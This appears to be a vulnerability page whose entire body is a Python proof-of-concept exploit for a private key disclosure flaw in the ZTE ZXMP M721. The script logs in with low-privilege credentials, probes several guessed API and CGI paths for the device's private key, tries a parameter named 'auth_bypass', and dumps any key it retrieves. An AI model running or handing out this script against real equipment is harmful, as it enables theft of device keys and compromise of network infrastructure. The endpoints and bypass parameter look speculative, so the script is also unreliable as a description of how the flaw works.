CVE-2025-46582: ZTE ZXMP M721 私钥泄露漏洞

# CVE-2025-46582 PoC - ZTE ZXMP M721 Private Key Disclosure # Requires low-privilege credentials import requests import base64 import json target = "http://target-zte-m721.local" username = "low_priv_user" password = "password123" def exploit_private_key_disclosure(): """Exploit CVE-2025-46582 to retrieve device private key""" # Step 1: Authenticate with low-privilege account session = requests.Session() login_url = f"{target}/webui/login" login_data = { "username": username, "password": password } response = session.post(login_url, json=login_data) if response.status_code != 200: print("[-] Authentication failed") return None print("[+] Successfully authenticated with low-privilege account") # Step 2: Bypass authorization to access private key endpoint # The vulnerable endpoint lacks proper authorization checks key_endpoints = [ f"{target}/api/v1/system/private_key", f"{target}/webui/api/system/communication_key", f"{target}/cgi-bin/get_private_key.cgi" ] for endpoint in key_endpoints: try: response = session.get(endpoint, timeout=10) if response.status_code == 200 and "private" in response.text.lower(): print(f"[+] Private key found at: {endpoint}") return response.json() except requests.RequestException: continue print("[-] Private key not found via standard endpoints") # Step 3: Try parameter manipulation to bypass auth bypass_url = f"{target}/api/v1/system/key" bypass_params = { "type": "communication", "format": "pem", "auth_bypass": "true" } response = session.get(bypass_url, params=bypass_params) if response.status_code == 200: print("[+] Authorization bypass successful via parameter manipulation") return response.json() return None if __name__ == "__main__": key_data = exploit_private_key_disclosure() if key_data: print("[+] Dumping private key:") print(json.dumps(key_data, indent=2))